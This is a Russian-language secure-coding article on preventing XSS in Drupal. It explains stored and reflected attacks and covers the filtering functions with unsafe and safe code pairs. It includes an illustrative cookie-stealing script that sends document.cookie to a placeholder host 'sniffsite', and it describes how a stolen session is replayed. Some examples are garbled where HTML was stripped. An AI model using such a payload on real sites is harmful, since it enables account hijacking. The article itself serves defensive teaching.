Безопасный код: Работа с пользовательским вводом
Статья эвакуирована с DrupalDance.com
Наверняка, XSS атаки остаются самыми популярными наравне с SQL инъекциями. Их принцип прост до безобразия, а последствия разнятся от невинного коверканья вывода страниц до получения злоумышленником полного контроля над сайтом.
Некоторые сценарии XSS атак
Устойчивая атака
- Вова создает частицу контента на сайте Пети.
- Когда Маша просматривает этот контент, Вовин XSS ворует Машины куки.
- Теперь Вова может пробраться на сайт, используя Машину сессию.
- Чем более людей увидит этот контент, тем более успешной можно считать атаку. Максимум достигается путем создания противоречивых холиварных тем на сайте и т.д.
Вот вам простейший пример как именно происходит воровство куков и их использование.
- На страницу вставляется код
.іmg=new Image();іmg.srс="http://sniffsite/s.php?"+document.cookie; іpt> - На другом конце скрипта стоит логгер запросов. Злоумышленник выбирает из этого лога идентификатор сессии, и создает свою куку, аналогичную куке жертвы.
- Теперь злоумышленник просто может зайти браузером на сайт, причем уже влогиненным в аккаунт пользователя-жертвы (кука-то жертвы).
И если под обычным аккаунтом злоумышленник может навредить в пределах прав этого аккаунта, то завладев аккаунтом рута (под которым ходят 90% наших друпаллеров) он может буквально убить сайт тем 60% друпаллеров, которые не делают частые бекапы.
Неустойчивая атака
- Юля использует сайт, написанный Ахмедом. Ахмед предоставляет ей возможность заходить на сайт, используя логин/пароль и держать там личные данные.
- Вова обыскивает сайт Ахмеда и находит XSS уязвимость.
- Вова формирует специальную ссылку и отправляет ее Юле по аське.
- Юля, находясь залогиненной на сайте, переходит по Вовиной ссылке.
- Запускается XSS, завязанный в ссылке страницы. (Здесь уже все зависит от криворукости Ахмеда и мастерства Вовы. Это может быть использование связанной CSRF уязвимости — Юля, сама того не зная, может отправить пачку спама, удалить весь контент на сайте и т.д., так и более приземленное — кража секретной информации, либо куков.
Что означает XSS, завязанный в ссылке? Очень распространенный пример — форма поиска, с таким кодом.
Теперь, если в адресной строке написать http://site.ru/search.php?srch=">
, мы получим куки каждой жертвы, посетившей этот URL.
Как обезопасить код от XSS?
Ответ прост — фильтровать вывод на страницу.
Методы фильтрации в Друпале
Золотое правило работы с данными — хранить пользовательский ввод в базе именно в том виде, в котором он был отправлен. Поэтому, всю фильтрацию следует производить на этапе вывода пользовательских данных на страницу.
Поздняя фильтрация также обезопасит вас от включения XSS сторонними модулями, в процессе модификации загруженных из базы данных (конечно, если вы предоставляете такую возможность).
Весь пользовательский ввод можно разделить на два типа:
-
Текст без разметки (plain text)
Любой пользовательский ввод, который должен быть подан в виде чистого текста, должен проходить через функцию check_plain(), которая превратит кавычки, амперсанды и угловые скобки в их HTML представление. Затем, такой текст может быть уже вставлен в конечную HTML разметку страницы.
Большинство функций темизации и API принимают в параметрах строки, и, так или иначе, осуществляют их фильтрацию:
t()
: В этой функции можно использовать несколько типов заполнителей, которые будут фильтроваться по-разному:- !variable — вставится без изменений
- @variable — пройдет через
check_plain()
. - %variable — пройдет через
theme('placeholder')
.
l()
: Текст ссылки всегда проходит черезcheck_plain()
, кроме случаев, когда явно не выставлен ее параметр$html
.- Элементы меню и «хлебных крошек»: Заголовки автоматически фильтруются.
theme('placeholder', $variable)
: (в реализации по-умолчанию) входящие параметры фильтруется.- Описания блоков.
- Имена пользователей, выводимые через
theme('username')
(в реализации по-умолчанию). - Параметры Form API
#default_value
и#options
(только когда #type == 'select').
Есть места, в которых никогда не надо забывать о фильтрации:
- Заголовки страниц, установленных через
drupal_set_title()
. Заголовки в теле страницы не фильтруются автоматом, чтобы у пользователя имелась возможность использовать там такие теги как. Это не касается заголовка в теге
, так как оттуда все теги вырезаются всегда. Примечание: Ситуация изменилась в Drupal 7. Теперь, фильтрация будет осуществляться по-умолчанию, а если необходимо подать в заголовке HTML, нужно будет указать соответствующий параметр в функцииdrupal_set_title()
.
Пример:drupal_set_title($node->title); // Опасно drupal_set_title(check_plain($node->title)); // Безопасно
- Заголовки блоков, поданные через
hook_block()
. Та же причина, что и с заголовками страниц. - Сообщения системного лога (watchdog):
Пример://Drupal 5: watchdog('content', t("Deleted !title", array('!title' => $node->title))); // XSS watchdog('content', t("Deleted %title", array('%title' => $node->title))); // или @ //Drupal 6 (The message and variables are passed through t() by the watchdog function): watchdog('content', "Deleted !title", array('!title' => $node->title)); // XSS watchdog('content', "Deleted %title", array('%title' => $node->title)); // или @
- Параметры Form API
#description
и#title
:
Примеры:$form['bad'] = array( '#type' => 'textfield', '#default_value' => check_plain($u_supplied), // плохо: фильтруется дважды '#description' => t("Old data: !data", array('!data' => $u_supplied)), // XSS ); $form['good'] = array( '#type' => 'textfield', '#default_value' => $u_supplied, '#description' => t("Old data: @data", array('@data' => $u_supplied)), );
- Параметры Form API
#options
когда#type
равенcheckboxes
илиradios
:
Примеры:$form['bad'] = array( '#type' => 'checkboxes', '#options' => array($u_supplied0, $u_supplied1), ); $form['good'] = array( '#type' => 'checkboxes', '#options' => array(check_plain($u_supplied0), check_plain($u_supplied1)), );
- Параметры Form API #value, если
#type
равенmarkup
(помните, чтоmarkup
— это значение по-умолчанию для#type
).
Примеры:$form['unsafe'] = array('#value' => $user->name); //XSS $form['safe'] = array('#value' => check_plain($user->name)); // или $form['safe'] = array('#value' => theme('username', $user));
-
Текст с разметкой
Размеченный текст нужно фильтровать с помощью check_markup(). Эта функция принимает на вход, кроме самого текста, формат ввода, который содержит правила фильтрации. Поэтому, при формировании форм для текста с разметкой, имеет смысл вводить рядом с многострочными полями виджет для выбора формата ввода(filter_form()).
Обратите внимание, что пользователь, просматривающий текст с разметкой, прошедший через
check_markup()
, должен иметь права на просмотр выбранного формата ввода. По-умолчанию, такая проверка осуществляется всегда. Однако, это не всегда нужно, так как контент обычно просматривается пользователями с меньшими правами, нежели у того, кто создал этот контент. Поэтому проверку прав при выводе можно отключить, подав соответствующий параметр вcheck_markup()
. Но вы должны всегда проверять эти права с помощью filter_access() при отправке самой формы с этим контентом. -
URL'ы
- Основная часть урла в функциях l(), url(), request_uri() уже фильтрируется, но вам нужно самостоятельно позаботится о фильтрации GET параметров и якорного фрагмента. Это нужно затем, чтобы случайная или умышленная подача символа
#
в GET параметрах, не испортила весь урл. Используйте для фильтрации функцию urlencode().
Пример:// Плохо l(t('Some link'), $path, array('query' => $query, 'fragment' => $fragment)); // не фильтруются параметры и фрагмент l(t('Link'), urlencode($path), array('query' => $query, 'fragment' => $fragment)); // основной путь ссылки не нужно фильтровать // Хорошо l(t('Link'), $path, array('query' => urlencode($query), 'fragment' => urlencode($fragment)));
- Когда выводите урл на страницу, пропускайте его через check_url(), который вызывает не только
check_plain()
, но и проверку правильности протокола урла.
Пример:// Плохо print ''; print ''; // Хорошо print '';
- Основная часть урла в функциях l(), url(), request_uri() уже фильтрируется, но вам нужно самостоятельно позаботится о фильтрации GET параметров и якорного фрагмента. Это нужно затем, чтобы случайная или умышленная подача символа
-=Бонус=-
Видео-доклад «Introduction Security» с прошедшего друпалкона:
Скачать ролик (226Mb)
Хотите что-то добавить?